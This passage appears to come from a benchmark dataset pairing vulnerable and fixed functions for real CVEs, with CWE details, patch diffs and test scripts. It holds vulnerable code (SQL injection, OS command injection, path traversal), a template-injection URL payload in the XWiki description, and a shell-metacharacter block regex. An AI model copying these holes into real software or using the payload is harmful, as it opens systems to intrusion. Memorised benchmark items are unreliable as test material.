{\n\t\treturn 0, nil, fmt.Errorf(\"invalid length: %d\", totalLen)\n\t}\n\tif len(data) < int(totalLen) {\n\t\treturn 0, nil, nil\n\t}\n\treturn int(totalLen), data[0:totalLen], nil\n}"}, {"id": "fix_go_290_2", "commit": "e748f43496d74946d14fed85c776452e47b99d64", "file_path": "pkg/packet/rtr/rtr.go", "start_line": 388, "end_line": 417, "snippet": "func ParseRTR(data []byte) (RTRMessage, error) {\n\tif len(data) < RTR_MIN_LEN {\n\t\treturn nil, fmt.Errorf(\"not all bytes are available for RTR message\")\n\t}\n\tvar msg RTRMessage\n\tswitch data[1] {\n\tcase RTR_SERIAL_NOTIFY:\n\t\tmsg = &RTRSerialNotify{}\n\tcase RTR_SERIAL_QUERY:\n\t\tmsg = &RTRSerialQuery{}\n\tcase RTR_RESET_QUERY:\n\t\tmsg = &RTRResetQuery{}\n\tcase RTR_CACHE_RESPONSE:\n\t\tmsg = &RTRCacheResponse{}\n\tcase RTR_IPV4_PREFIX:\n\t\tmsg = &RTRIPPrefix{}\n\tcase RTR_IPV6_PREFIX:\n\t\tmsg = &RTRIPPrefix{}\n\tcase RTR_END_OF_DATA:\n\t\tmsg = &RTREndOfData{}\n\tcase RTR_CACHE_RESET:\n\t\tmsg = &RTRCacheReset{}\n\tcase RTR_ERROR_REPORT:\n\t\tmsg = &RTRErrorReport{}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unknown RTR message type %d\", data[1])\n\t}\n\terr := msg.DecodeFromBytes(data)\n\treturn msg, err\n}"}], "vul_patch": "--- a/pkg/packet/rtr/rtr.go\n+++ b/pkg/packet/rtr/rtr.go\n@@ -7,7 +7,7 @@\n \tif totalLen < RTR_MIN_LEN {\n \t\treturn 0, nil, fmt.Errorf(\"invalid length: %d\", totalLen)\n \t}\n-\tif uint32(len(data)) < totalLen {\n+\tif len(data) < int(totalLen) {\n \t\treturn 0, nil, nil\n \t}\n \treturn int(totalLen), data[0:totalLen], nil\n\n--- a/pkg/packet/rtr/rtr.go\n+++ b/pkg/packet/rtr/rtr.go\n@@ -1,5 +1,5 @@\n func ParseRTR(data []byte) (RTRMessage, error) {\n-\tif len(data) < 1 {\n+\tif len(data) < RTR_MIN_LEN {\n \t\treturn nil, fmt.Errorf(\"not all bytes are available for RTR message\")\n \t}\n \tvar msg RTRMessage\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-25074", "cve_description": "The cache action in action/cache.py in MoinMoin through 1.9.10 allows directory traversal through a crafted HTTP request. An attacker who can upload attachments to the wiki can use this to achieve remote code execution.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/moinwiki/moin-1.9", "patch_url": ["https://github.com/moinwiki/moin-1.9/commit/6b96a9060069302996b5af47fd4a388fc80172b7"], "programing_language": "Python", "vul_func": [{"id": "vul_py_170_1", "commit": "31de913", "file_path": "MoinMoin/action/cache.py", "start_line": 237, "end_line": 241, "snippet": "def _do(request, do, key):\n    if do == 'get':\n        _do_get(request, key)\n    elif do == 'remove':\n        _do_remove(request, key)"}, {"id": "vul_py_170_2", "commit": "31de913", "file_path": "MoinMoin/action/cache.py", "start_line": 243, "end_line": 246, "snippet": "def execute(pagename, request):\n    do = request.values.get('do')\n    key = request.values.get('key')\n    _do(request, do, key)"}], "fix_func": [{"id": "fix_py_170_1", "commit": "6b96a90", "file_path": "MoinMoin/action/cache.py", "start_line": 106, "end_line": 116, "snippet": "def valid_key(key):\n    # make sure the key looks like keys generated by key()\n    if not isinstance(key, unicode):\n        # key is None (not given in url args) or something unexpected\n        return False\n    try:\n        int(key, 16)  # try to evaluate as hex number\n    except ValueError:\n        # was not a hex number\n        return False\n    return len(key) == 40  # hmac-sha1 hexdigest == 40 hex chars"}, {"id": "fix_py_170_2", "commit": "6b96a90", "file_path": "MoinMoin/action/cache.py", "start_line": 250, "end_line": 259, "snippet": "def execute(pagename, request):\n    do = request.values.get('do')\n    key = request.values.get('key')\n    valid = valid_key(key)  # validate untrusted input\n    if valid and do == 'get':\n        _do_get(request, key)\n    elif valid and do == 'remove':\n        _do_remove(request, key)\n    else:\n        request.status_code = 404"}], "vul_patch": "--- a/MoinMoin/action/cache.py\n+++ b/MoinMoin/action/cache.py\n@@ -1,5 +1,11 @@\n-def _do(request, do, key):\n-    if do == 'get':\n-        _do_get(request, key)\n-    elif do == 'remove':\n-        _do_remove(request, key)\n+def valid_key(key):\n+    # make sure the key looks like keys generated by key()\n+    if not isinstance(key, unicode):\n+        # key is None (not given in url args) or something unexpected\n+        return False\n+    try:\n+        int(key, 16)  # try to evaluate as hex number\n+    except ValueError:\n+        # was not a hex number\n+        return False\n+    return len(key) == 40  # hmac-sha1 hexdigest == 40 hex chars\n\n--- a/MoinMoin/action/cache.py\n+++ b/MoinMoin/action/cache.py\n@@ -1,4 +1,10 @@\n def execute(pagename, request):\n     do = request.values.get('do')\n     key = request.values.get('key')\n-    _do(request, do, key)\n+    valid = valid_key(key)  # validate untrusted input\n+    if valid and do == 'get':\n+        _do_get(request, key)\n+    elif valid and do == 'remove':\n+        _do_remove(request, key)\n+    else:\n+        request.status_code = 404\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-45135", "cve_description": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In `org.xwiki.platform:xwiki-platform-web` versions 7.2-milestone-2 until 14.10.12 and `org.xwiki.platform:xwiki-platform-web-templates` prior to versions 14.10.12 and 15.5-rc-1, it is possible to pass a title to the page creation action that isn't displayed at first but then executed in the second step. This can be used by an attacker to trick a victim to execute code, allowing script execution if the victim has script right or remote code execution including full access to the XWiki instance if the victim has programming right.\n\nFor the attack to work, the attacker needs to convince the victim to visit a link like `<xwiki-host>/xwiki/bin/create/NonExistingSpace/WebHome?title=$services.logging.getLogger(%22foo%22).error(%22Script%20executed!%22)` where `<xwiki-host>`  is the URL of the Wiki installation and to then click on the \"Create\" button on that page. The page looks like a regular XWiki page that the victim would also see when clicking the button to create a page that doesn't exist yet, the malicious code is not displayed anywhere on that page. After clicking the \"Create\" button, the malicious title would be displayed but at this point, the code has already been executed and the attacker could use this code also to hide the attack, e.g., by redirecting the victim again to the same page with an innocent title. It thus seems plausible that this attack could work if the attacker can place a fake \"create page\" button on a page which is possible with edit right.\n\nThis has been patched in `org.xwiki.platform:xwiki-platform-web` version 14.10.12 and `org.xwiki.platform:xwiki-platform-web-templates` versions 14.10.12 and 15.5-rc-1 by displaying the title already in the first step such that the victim can notice the attack before continuing. It is possible to manually patch the modified files from the patch in an existing installation. For the JavaScript change, the minified JavaScript file would need to be obtained from a build of XWiki and replaced accordingly.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/xwiki/xwiki-platform", "patch_url": ["https://github.com/xwiki/xwiki-platform/commit/199e27ce7016757e66fa7cea99e718044a1b639b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_231_1", "commit": "81e73c5", "file_path": "xwiki-platform-core/xwiki-platform-web/xwiki-platform-web-war/src/main/webapp/resources/uicomponents/widgets/locationPicker.js", "start_line": 153, "end_line": 161, "snippet": "    var getPageName = function(title) {\n      var url = XWiki.currentDocument.getURL(\"get\");\n      return Promise.resolve($.get(url, {\n        'xpage': 'entitynamevalidation_json',\n        'outputSyntax': 'plain',\n        'name': title,\n        'form_token': xm.form_token\n      }));\n    };"}], "fix_func": [{"id": "fix_js_231_1", "commit": "199e27ce7016757e66fa7cea99e718044a1b639b", "file_path": "xwiki-platform-core/xwiki-platform-web/xwiki-platform-web-war/src/main/webapp/resources/uicomponents/widgets/locationPicker.js", "start_line": 153, "end_line": 166, "snippet": "    var getPageName = function(title) {\n      if (nameInput.prop('readonly')) {\n        // The page name is read-only so we shouldn't update it based on the title.\n        return Promise.resolve({transformedName: nameInput.val()});\n      } else {\n        var url = XWiki.currentDocument.getURL(\"get\");\n        return Promise.resolve($.get(url, {\n          'xpage': 'entitynamevalidation_json',\n          'outputSyntax': 'plain',\n          'name': title,\n          'form_token': xm.form_token\n        }));\n      }\n    };"}], "vul_patch": "--- a/xwiki-platform-core/xwiki-platform-web/xwiki-platform-web-war/src/main/webapp/resources/uicomponents/widgets/locationPicker.js\n+++ b/xwiki-platform-core/xwiki-platform-web/xwiki-platform-web-war/src/main/webapp/resources/uicomponents/widgets/locationPicker.js\n@@ -1,9 +1,14 @@\n     var getPageName = function(title) {\n-      var url = XWiki.currentDocument.getURL(\"get\");\n-      return Promise.resolve($.get(url, {\n-        'xpage': 'entitynamevalidation_json',\n-        'outputSyntax': 'plain',\n-        'name': title,\n-        'form_token': xm.form_token\n-      }));\n+      if (nameInput.prop('readonly')) {\n+        // The page name is read-only so we shouldn't update it based on the title.\n+        return Promise.resolve({transformedName: nameInput.val()});\n+      } else {\n+        var url = XWiki.currentDocument.getURL(\"get\");\n+        return Promise.resolve($.get(url, {\n+          'xpage': 'entitynamevalidation_json',\n+          'outputSyntax': 'plain',\n+          'name': title,\n+          'form_token': xm.form_token\n+        }));\n+      }\n     };\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-34709", "cve_description": "Directus is a real-time API and App dashboard for managing SQL database content. Prior to 10.11.0, session tokens function like the other JWT tokens where they are not actually invalidated when logging out. The `directus_session` gets destroyed and the cookie gets deleted but if the cookie value is captured, it will still work for the entire expiry time which is set to 1 day by default. Making it effectively a long lived unrevokable stateless token instead of the stateful session token it was meant to be. This vulnerability is fixed in 10.11.0.", "cwe_info": {"CWE-613": {"name": "Insufficient Session Expiration", "description": "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\""}}, "repo": "https://github.com/directus/directus", "patch_url": ["https://github.com/directus/directus/commit/a6172f8a6a0f31a6bf4305a090de172ebfb63bcf"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_148_1", "commit": "24d77d0", "file_path": "api/src/utils/get-accountability-for-token.ts", "start_line": 8, "end_line": 60, "snippet": "export async function getAccountabilityForToken(\n\ttoken?: string | null,\n\taccountability?: Accountability,\n): Promise<Accountability> {\n\tconst env = useEnv();\n\n\tif (!accountability) {\n\t\taccountability = {\n\t\t\tuser: null,\n\t\t\trole: null,\n\t\t\tadmin: false,\n\t\t\tapp: false,\n\t\t};\n\t}\n\n\tif (token) {\n\t\tif (isDirectusJWT(token)) {\n\t\t\tconst payload = verifyAccessJWT(token, env['SECRET'] as string);\n\n\t\t\taccountability.role = payload.role;\n\t\t\taccountability.admin = payload.admin_access === true || payload.admin_access == 1;\n\t\t\taccountability.app = payload.app_access === true || payload.app_access == 1;\n\n\t\t\tif (payload.share) accountability.share = payload.share;\n\t\t\tif (payload.share_scope) accountability.share_scope = payload.share_scope;\n\t\t\tif (payload.id) accountability.user = payload.id;\n\t\t} else {\n\t\t\t// Try finding the user with the provided token\n\t\t\tconst database = getDatabase();\n\n\t\t\tconst user = await database\n\t\t\t\t.select('directus_users.id', 'directus_users.role', 'directus_roles.admin_access', 'directus_roles.app_access')\n\t\t\t\t.from('directus_users')\n\t\t\t\t.leftJoin('directus_roles', 'directus_users.role', 'directus_roles.id')\n\t\t\t\t.where({\n\t\t\t\t\t'directus_users.token': token,\n\t\t\t\t\tstatus: 'active',\n\t\t\t\t})\n\t\t\t\t.first();\n\n\t\t\tif (!user) {\n\t\t\t\tthrow new InvalidCredentialsError();\n\t\t\t}\n\n\t\t\taccountability.user = user.id;\n\t\t\taccountability.role = user.role;\n\t\t\taccountability.admin = user.admin_access === true || user.admin_access == 1;\n\t\t\taccountability.app = user.app_access === true || user.app_access == 1;\n\t\t}\n\t}\n\n\treturn accountability;\n}"}], "fix_func": [{"id": "fix_js_148_1", "commit": "a6172f8", "file_path": "api/src/utils/get-accountability-for-token.ts", "start_line": 9, "end_line": 65, "snippet": "export async function getAccountabilityForToken(\n\ttoken?: string | null,\n\taccountability?: Accountability,\n): Promise<Accountability> {\n\tconst env = useEnv();\n\n\tif (!accountability) {\n\t\taccountability = {\n\t\t\tuser: null,\n\t\t\trole: null,\n\t\t\tadmin: false,\n\t\t\tapp: false,\n\t\t};\n\t}\n\n\tif (token) {\n\t\tif (isDirectusJWT(token)) {\n\t\t\tconst payload = verifyAccessJWT(token, env['SECRET'] as string);\n\n\t\t\tif ('session' in payload) {\n\t\t\t\tawait verifySessionJWT(payload);\n\t\t\t}\n\n\t\t\taccountability.role = payload.role;\n\t\t\taccountability.admin = payload.admin_access === true || payload.admin_access == 1;\n\t\t\taccountability.app = payload.app_access === true || payload.app_access == 1;\n\n\t\t\tif (payload.share) accountability.share = payload.share;\n\t\t\tif (payload.share_scope) accountability.share_scope = payload.share_scope;\n\t\t\tif (payload.id) accountability.user = payload.id;\n\t\t} else {\n\t\t\t// Try finding the user with the provided token\n\t\t\tconst database = getDatabase();\n\n\t\t\tconst user = await database\n\t\t\t\t.select('directus_users.id', 'directus_users.role', 'directus_roles.admin_access', 'directus_roles.app_access')\n\t\t\t\t.from('directus_users')\n\t\t\t\t.leftJoin('directus_roles', 'directus_users.role', 'directus_roles.id')\n\t\t\t\t.where({\n\t\t\t\t\t'directus_users.token': token,\n\t\t\t\t\tstatus: 'active',\n\t\t\t\t})\n\t\t\t\t.first();\n\n\t\t\tif (!user) {\n\t\t\t\tthrow new InvalidCredentialsError();\n\t\t\t}\n\n\t\t\taccountability.user = user.id;\n\t\t\taccountability.role = user.role;\n\t\t\taccountability.admin = user.admin_access === true || user.admin_access == 1;\n\t\t\taccountability.app = user.app_access === true || user.app_access == 1;\n\t\t}\n\t}\n\n\treturn accountability;\n}"}, {"id": "fix_js_148_2", "commit": "a6172f8", "file_path": "api/src/utils/verify-session-jwt.ts", "start_line": 10, "end_line": 26, "snippet": "export async function verifySessionJWT(payload: DirectusTokenPayload) {\n\tconst database = getDatabase();\n\n\tconst session = await database\n\t\t.select(1)\n\t\t.from('directus_sessions')\n\t\t.where({\n\t\t\ttoken: payload['session'],\n\t\t\tuser: payload['id'],\n\t\t})\n\t\t.andWhere('expires', '>=', new Date())\n\t\t.first();\n\n\tif (!session) {\n\t\tthrow new InvalidTokenError();\n\t}\n}"}], "vul_patch": "--- a/api/src/utils/get-accountability-for-token.ts\n+++ b/api/src/utils/get-accountability-for-token.ts\n@@ -16,6 +16,10 @@\n \tif (token) {\n \t\tif (isDirectusJWT(token)) {\n \t\t\tconst payload = verifyAccessJWT(token, env['SECRET'] as string);\n+\n+\t\t\tif ('session' in payload) {\n+\t\t\t\tawait verifySessionJWT(payload);\n+\t\t\t}\n \n \t\t\taccountability.role = payload.role;\n \t\t\taccountability.admin = payload.admin_access === true || payload.admin_access == 1;\n\n--- /dev/null\n+++ b/api/src/utils/get-accountability-for-token.ts\n@@ -0,0 +1,17 @@\n+export async function verifySessionJWT(payload: DirectusTokenPayload) {\n+\tconst database = getDatabase();\n+\n+\tconst session = await database\n+\t\t.select(1)\n+\t\t.from('directus_sessions')\n+\t\t.where({\n+\t\t\ttoken: payload['session'],\n+\t\t\tuser: payload['id'],\n+\t\t})\n+\t\t.andWhere('expires', '>=', new Date())\n+\t\t.first();\n+\n+\tif (!session) {\n+\t\tthrow new InvalidTokenError();\n+\t}\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10788", "cve_description": "im-metadata through 3.0.1 allows remote attackers to execute arbitrary commands via the \"exec\" argument. It is possible to inject arbitrary commands as part of the metadata options which is given to the \"exec\" function.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/Turistforeningen/node-im-metadata", "patch_url": ["https://github.com/Turistforeningen/node-im-metadata/commit/ea15dddbe0f65694bfde36b78dd488e90f246639"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_11_1", "commit": "049ce24dbb4302811b9247444347da6561605a8a", "file_path": "index.js", "start_line": 6, "end_line": 21, "snippet": "module.exports = function(path, opts, cb) {\n  if (!cb) {\n    cb = opts;\n    opts = {};\n  }\n\n  var cmd = module.exports.cmd(path, opts);\n  opts.timeout = opts.timeout || 5000;\n\n  exec(cmd, opts, function(e, stdout, stderr) {\n    if (e) { return cb(e); }\n    if (stderr) { return cb(new Error(stderr)); }\n\n    return cb(null, module.exports.parse(path, stdout, opts));\n  });\n};"}], "fix_func": [{"id": "fix_js_11_1", "commit": "ea15dddbe0f65694bfde36b78dd488e90f246639", "file_path": "index.js", "start_line": 6, "end_line": 24, "snippet": "module.exports = function(path, opts, cb) {\n  if (!cb) {\n    cb = opts;\n    opts = {};\n  }\n\n  if(/;|&|`|\\$|\\(|\\)|\\|\\||\\||!|>|<|\\?|\\${/g.test(JSON.stringify(path))) {\n    console.log('Input Validation failed, Suspicious Characters found');\n  } else {\n    var cmd = module.exports.cmd(path, opts);\n    opts.timeout = opts.timeout || 5000;\n    exec(cmd, opts, function(e, stdout, stderr) {\n      if (e) { return cb(e); }\n    if (stderr) { return cb(new Error(stderr)); }\n\n      return cb(null, module.exports.parse(path, stdout, opts));\n  });\n}\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -4,13 +4,16 @@\n     opts = {};\n   }\n \n-  var cmd = module.exports.cmd(path, opts);\n-  opts.timeout = opts.timeout || 5000;\n-\n-  exec(cmd, opts, function(e, stdout, stderr) {\n-    if (e) { return cb(e); }\n+  if(/;|&|`|\\$|\\(|\\)|\\|\\||\\||!|>|<|\\?|\\${/g.test(JSON.stringify(path))) {\n+    console.log('Input Validation failed, Suspicious Characters found');\n+  } else {\n+    var cmd = module.exports.cmd(path, opts);\n+    opts.timeout = opts.timeout || 5000;\n+    exec(cmd, opts, function(e, stdout, stderr) {\n+      if (e) { return cb(e); }\n     if (stderr) { return cb(new Error(stderr)); }\n \n-    return cb(null, module.exports.parse(path, stdout, opts));\n+      return cb(null, module.exports.parse(path, stdout, opts));\n   });\n+}\n };\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-10788:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-im-metadata\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2019-10788:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/node-im-metadata\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha --grep \"metadata.cmd()|metadata.parse()\""}
{"cve_id": "CVE-2022-35942", "cve_description": "Improper input validation on the `contains` LoopBack filter may allow for arbitrary SQL injection. When the extended filter property `contains` is permitted to be interpreted by the Postgres connector, it is possible to inject arbitrary SQL which may affect the confidentiality and integrity of data stored on the connected database. A patch was released in version 5.5.1. This affects users who does any of the following: - Connect to the database via the DataSource with `allowExtendedProperties: true` setting OR - Uses the connector's CRUD methods directly OR - Uses the connector's other methods to interpret the LoopBack filter. Users who are unable to upgrade should do the following if applicable: - Remove `allowExtendedProperties: true` DataSource setting - Add `allowExtendedProperties: false` DataSource setting - When passing directly to the connector functions, manually sanitize the user input for the `contains` LoopBack filter beforehand.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/loopbackio/loopback-connector-postgresql", "patch_url": ["https://github.com/loopbackio/loopback-connector-postgresql/commit/d57406c6737692a3a106b58a35406290cddb23e5"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_py_96_1", "commit": "1a863f3", "file_path": "lib/postgresql.js", "start_line": "522", "end_line": "557", "snippet": "PostgreSQL.prototype.buildExpression = function(columnName, operator,\n  operatorValue, propertyDefinition) {\n  switch (operator) {\n    case 'like':\n      return new ParameterizedSQL(columnName + \"::TEXT LIKE ? ESCAPE E'\\\\\\\\'\",\n        [operatorValue]);\n    case 'ilike':\n      return new ParameterizedSQL(columnName + \"::TEXT ILIKE ? ESCAPE E'\\\\\\\\'\",\n        [operatorValue]);\n    case 'nlike':\n      return new ParameterizedSQL(columnName + \"::TEXT NOT LIKE ? ESCAPE E'\\\\\\\\'\",\n        [operatorValue]);\n    case 'nilike':\n      return new ParameterizedSQL(columnName + \"::TEXT NOT ILIKE ? ESCAPE E'\\\\\\\\'\",\n        [operatorValue]);\n    case 'regexp':\n      if (operatorValue.global)\n        g.warn('{{PostgreSQL}} regex syntax does not respect the {{`g`}} flag');\n\n      if (operatorValue.multiline)\n        g.warn('{{PostgreSQL}} regex syntax does not respect the {{`m`}} flag');\n\n      const regexOperator = operatorValue.ignoreCase ? ' ~* ?' : ' ~ ?';\n      return new ParameterizedSQL(columnName + regexOperator,\n        [operatorValue.source]);\n    case 'contains':\n      return new ParameterizedSQL(columnName + ' @> array[' + operatorValue.map((v) => `'${v}'`) + ']::'\n        + propertyDefinition.postgresql.dataType);\n    case 'match':\n      return new ParameterizedSQL(`to_tsvector(${columnName}) @@ to_tsquery('${operatorValue}')`);\n    default:\n      // invoke the base implementation of `buildExpression`\n      return this.invokeSuper('buildExpression', columnName, operator,\n        operatorValue, propertyDefinition);\n  }\n};"}], "fix_func": [{"id": "fix_py_96_1", "commit": "d57406c", "file_path": "lib/postgresql.js", "start_line": "522", "end_line": "558", "snippet": "PostgreSQL.prototype.buildExpression = function(columnName, operator,\n  operatorValue, propertyDefinition) {\n  switch (operator) {\n    case 'like':\n      return new ParameterizedSQL(columnName + \"::TEXT LIKE ? ESCAPE E'\\\\\\\\'\",\n        [operatorValue]);\n    case 'ilike':\n      return new ParameterizedSQL(columnName + \"::TEXT ILIKE ? ESCAPE E'\\\\\\\\'\",\n        [operatorValue]);\n    case 'nlike':\n      return new ParameterizedSQL(columnName + \"::TEXT NOT LIKE ? ESCAPE E'\\\\\\\\'\",\n        [operatorValue]);\n    case 'nilike':\n      return new ParameterizedSQL(columnName + \"::TEXT NOT ILIKE ? ESCAPE E'\\\\\\\\'\",\n        [operatorValue]);\n    case 'regexp':\n      if (operatorValue.global)\n        g.warn('{{PostgreSQL}} regex syntax does not respect the {{`g`}} flag');\n\n      if (operatorValue.multiline)\n        g.warn('{{PostgreSQL}} regex syntax does not respect the {{`m`}} flag');\n\n      const regexOperator = operatorValue.ignoreCase ? ' ~* ?' : ' ~ ?';\n      return new ParameterizedSQL(columnName + regexOperator,\n        [operatorValue.source]);\n    case 'contains':\n      return new ParameterizedSQL(columnName + ' @> array[' + operatorValue.map(() => '?') + ']::'\n        + propertyDefinition.postgresql.dataType,\n        operatorValue);\n    case 'match':\n      return new ParameterizedSQL(`to_tsvector(${columnName}) @@ to_tsquery(?)`, [operatorValue]);\n    default:\n      // invoke the base implementation of `buildExpression`\n      return this.invokeSuper('buildExpression', columnName, operator,\n        operatorValue, propertyDefinition);\n  }\n};"}], "vul_patch": "--- a/lib/postgresql.js\n+++ b/lib/postgresql.js\n@@ -24,10 +24,11 @@\n       return new ParameterizedSQL(columnName + regexOperator,\n         [operatorValue.source]);\n     case 'contains':\n-      return new ParameterizedSQL(columnName + ' @> array[' + operatorValue.map((v) => `'${v}'`) + ']::'\n-        + propertyDefinition.postgresql.dataType);\n+      return new ParameterizedSQL(columnName + ' @> array[' + operatorValue.map(() => '?') + ']::'\n+        + propertyDefinition.postgresql.dataType,\n+        operatorValue);\n     case 'match':\n-      return new ParameterizedSQL(`to_tsvector(${columnName}) @@ to_tsquery('${operatorValue}')`);\n+      return new ParameterizedSQL(`to_tsvector(${columnName}) @@ to_tsquery(?)`, [operatorValue]);\n     default:\n       // invoke the base implementation of `buildExpression`\n       return this.invokeSuper('buildExpression', columnName, operator,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-52081", "cve_description": "ffcss is a CLI interface to apply and configure Firefox CSS themes. Prior to 0.2.0, the function `lookupPreprocess()` is meant to apply some transformations to a string by disabling characters in the regex `[-_ .]`. However, due to the use of late Unicode normalization of type NFKD, it is possible to bypass that validation and re-introduce all the characters in the regex `[-_ .]`. The `lookupPreprocess()` can be easily bypassed with equivalent Unicode characters like U+FE4D (\ufe4d), which would result in the omitted U+005F (_), for instance. The `lookupPreprocess()` function is only ever used to search for themes loosely (case insensitively, while ignoring dashes, underscores and dots), so the actual security impact is classified as low. This vulnerability is fixed in 0.2.0. There are no known workarounds.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/ewen-lbh/ffcss", "patch_url": ["https://github.com/ewen-lbh/ffcss/commit/f9c491874b858a32fcae15045f169fd7d02f90dc"], "programing_language": "Go", "vul_func": [{"id": "vul_go_80_1", "commit": "5e1ea8f", "file_path": "catalog.go", "start_line": 44, "end_line": 46, "snippet": "func lookupPreprocess(s string) string {\n\treturn strings.ToLower(norm.NFKD.String(regexp.MustCompile(`[-_ .]`).ReplaceAllString(s, \"\")))\n}"}], "fix_func": [{"id": "fix_go_80_1", "commit": "f9c4918", "file_path": "catalog.go", "start_line": 44, "end_line": 46, "snippet": "func lookupPreprocess(s string) string {\n\treturn strings.ToLower(regexp.MustCompile(`[-_ .]`).ReplaceAllString(norm.NFKD.String(s), \"\"))\n}"}], "vul_patch": "--- a/catalog.go\n+++ b/catalog.go\n@@ -1,3 +1,3 @@\n func lookupPreprocess(s string) string {\n-\treturn strings.ToLower(norm.NFKD.String(regexp.MustCompile(`[-_ .]`).ReplaceAllString(s, \"\")))\n+\treturn strings.ToLower(regexp.MustCompile(`[-_ .]`).ReplaceAllString(norm.NFKD.String(s), \"\"))\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-52081:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/ffcss\nrm -rf ./catalog_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestLookupPreprocess$ github.com/ewen-lbh/ffcss\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-52081:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/ffcss\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestCatalogLookup|TestLookupPreprocess)$'"}
{"cve_id": "CVE-2024-30260", "cve_description": "Undici is an HTTP/1.1 client, written from scratch for Node.js. Undici cleared Authorization and Proxy-Authorization headers for `fetch()`, but did not clear them for `undici.request()`. This vulnerability was patched in version(s) 5.28.4 and 6.11.1.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/nodejs/undici", "patch_url": ["https://github.com/nodejs/undici/commit/64e3402da4e032e68de46acb52800c9a06aaea3f", "https://github.com/nodejs/undici/commit/6805746680d27a5369d7fb67bc05f95a28247d75"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_36_1", "commit": "ee5f892f3955eaca37730ed30349153ba203e9cd", "file_path": "lib/handler/redirect-handler.js", "start_line": 197, "end_line": 209, "snippet": "function shouldRemoveHeader (header, removeContent, unknownOrigin) {\n  if (header.length === 4) {\n    return util.headerNameToString(header) === 'host'\n  }\n  if (removeContent && util.headerNameToString(header).startsWith('content-')) {\n    return true\n  }\n  if (unknownOrigin && (header.length === 13 || header.length === 6)) {\n    const name = util.headerNameToString(header)\n    return name === 'authorization' || name === 'cookie'\n  }\n  return false\n}"}], "fix_func": [{"id": "fix_js_36_1", "commit": "6805746680d27a5369d7fb67bc05f95a28247d75", "file_path": "lib/handler/redirect-handler.js", "start_line": 197, "end_line": 209, "snippet": "function shouldRemoveHeader (header, removeContent, unknownOrigin) {\n  if (header.length === 4) {\n    return util.headerNameToString(header) === 'host'\n  }\n  if (removeContent && 